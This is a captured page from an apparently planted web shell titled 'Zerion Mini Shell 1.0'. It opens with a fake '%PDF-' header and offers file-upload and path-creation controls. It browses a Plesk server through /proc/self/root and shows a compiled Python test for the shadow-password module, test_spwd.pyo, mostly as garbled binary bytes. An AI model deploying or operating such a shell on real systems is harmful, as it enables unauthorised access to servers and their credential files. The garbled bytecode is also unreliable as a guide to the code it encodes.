%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/plesk/python/2.7/lib64/python2.7/test/
Upload File :
Create Path :
Current File : //proc/self/root/opt/plesk/python/2.7/lib64/python2.7/test/test_spwd.pyo

�
5}�ac@s�ddlZddlZddlmZejd�Zejeed�o[ej�dkd�dej	fd��Y�Z
d	�Zed
kr�e�ndS(i����N(ttest_supporttspwdtgeteuidisroot privileges requiredtTestSpwdRootcBseZd�Zd�ZRS(cCsDtj�}|j|t�x!|D]}|j|tj�q#WdS(N(RtgetspalltassertIsInstancetlisttstruct_spwd(tselftentriestentry((s7/opt/plesk/python/2.7/lib64/python2.7/test/test_spwd.pyt
test_getspalls
cCs�tj�}|s"|jd�n|dj}tj|�}|j|tj�|j|j|�|j|j|d�|j|jt	�|j|j|d�|j|j
t�|j|j
|d�|j|jt�|j|j|d�|j|j
t�|j|j
|d�|j|jt�|j|j|d�|j|jt�|j|j|d�|j|jt�|j|j|d	�|j|jt�|j|j|d
�|jt��}tjd�WdQX|jt	|j�d�|jttj�|jttjd�|jttj|d�tjr�yt|�}Wntk
rwq�X|jtj|�|�ndS(
Nsempty shadow password databaseiiiiiiiiisinvalid user names'getspnam(): name not found'(RRtskipTesttsp_namtgetspnamRRtassertEqualtsp_pwdtstrt	sp_lstchgtinttsp_mintsp_maxtsp_warntsp_inactt	sp_expiretsp_flagtassertRaisestKeyErrort	exceptiont	TypeErrorRthave_unicodetunicodetUnicodeDecodeError(RR	trandom_nameR
tcxtunicode_name((s7/opt/plesk/python/2.7/lib64/python2.7/test/test_spwd.pyt
test_getspnamsH
	
(t__name__t
__module__RR$(((s7/opt/plesk/python/2.7/lib64/python2.7/test/test_spwd.pyRs	cCstjt�dS(N(Rtrun_unittestR(((s7/opt/plesk/python/2.7/lib64/python2.7/test/test_spwd.pyt	test_main:st__main__(
tostunittestttestRt
import_moduleRt
skipUnlessthasattrRtTestCaseRR(R%(((s7/opt/plesk/python/2.7/lib64/python2.7/test/test_spwd.pyt<module>s$	0	

Zerion Mini Shell 1.0